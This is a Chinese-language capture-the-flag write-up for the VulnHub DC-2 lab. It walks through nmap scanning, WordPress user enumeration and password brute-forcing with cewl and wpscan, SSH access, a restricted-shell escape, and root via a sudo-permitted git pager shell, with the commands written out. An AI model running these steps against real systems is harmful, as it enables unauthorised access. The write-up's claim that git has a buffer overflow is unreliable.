DC-2 靶场下载地址: https://download.vulnhub.com/dc/DC-2.zip
目标
本机IP:192.168.118.128
靶机IP:192.168.118.0/24
信息收集
常规我使用nmap三扫描,扫存活主机、扫端口、扫服务
第一步探测到存活主机IP为:192.168.118.139
javascript
nmap -sP 192.168.118.0/24
nmap -p- 192.168.118.139
nmap -sV -A 192.168.118.139
发现开放了80端口和7744端口,但扫服务时并没有7744的端口信息,指定端口,再次扫描服务
发现7744端口是一个ssh服务
访问80端口的web页面,无法打开,返回前面查看信息,是要修改hosts
进入hosts,添加 192.168.118.139 dc-2
bash
vim /etc/hosts
然后重新访问 http://dc-2/
在下方有一个Flag,点击进入,得到 flag1
falg1提示:我们应该使用 cewl 生成密码,爆破账号,登录多个账号之类的
此页面还看到其CMS为 WordPress
暴力破解
cewl 是一个生成密码字典的工具,接下来我们用cewl生成一个密码字典存放在桌面上
bash
cewl http://dc-2/ -w /root/Desktop/pass.txt
使用 wpsan 爆破用户名
wpsan是一款专门用来扫描 WordPress网站漏洞的工具
bash
wpscan --url dc-2 -e u
最后扫出来三个用户名,将这三个用户名整理在一起,下一步就是爆破账号密码了
使用刚生成的账号密码爆破,最后成功爆破出两个账号密码:
bash
wpscan --url http://dc-2/ -U user.txt -P pass.txt
成功拿到 jerry 和 tom 的密码,下一步就是登录了
使用dirserach 遍历目录,找到登录界面
bash
dirsearch -u http://dc-2/
访问http://dc-2/wp-admin/,进入登录页面
在tom里面没有发现有用的信息,在jerry里面成功找到了flag2
flag2提示:如果你不能利用WordPress并采取快捷方式,还有另一种方法,希望你能找到另一个切入点。这是让我们接着干啊
SSH远程登录
想到前面开放的7744端口,尝试使用ssh登录,因为端口被修改,需要指定7744端口
bash
ssh jerry@192.168.118.139 -p 7744 #登录jerry
ssh tom@192.168.118.139 -p 7744 #登录tom
尝试发现只有tom能够登录
在tom的目录下面找到了flag3,不能使用cat、find、vim等指令,发现好多的指令都无法使用,使用compgen -c 可查看当前可使用指令,最后尝试发现vi可以打开
flag3提示:老tom总是在追jerry,也许他应该为他所造成的所有压力负责
根据提示,应该是jerry的权限比tom的高,现在我们应该提权到jerry
rbash逃逸
查询资料发现rbash为受限制的 bash。其可以用作中转服务器,或者仅使用 ssh 来访问网页等等。它与一般shell的区别在于会限制一些行为,让一些命令无法执行
所以我们设置shell来绕过rbash(设置变量a为一个shell,执行a)
bash
BASH_CMDS[a]=/bin/sh;a
此处shell已经变为了a,但还是切换不到,这是因为我们还没添加环境变量
bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
添加完环境变量,重新切换到jerry,成功
成功进入jerry,然后cd到jerry目录,ls查看,发现flag4
flag4提示我们到这一步只剩下最终的flag了, 这是个让我们拿root权限的意思,而且最后一句有提示git,那应该就是git提权
git提权
原理是git存在缓冲区溢出漏洞,在使用sudo git -p help时,不需要输入root密码即可以root权限执行这条命令。
使用sudo -l 查看root身份执行的命令,发现有git
直接输入命令
bash
sudo git help config
然后输入
bash
!/bin/bash
然后cd到root目录下,成功发现最终的flag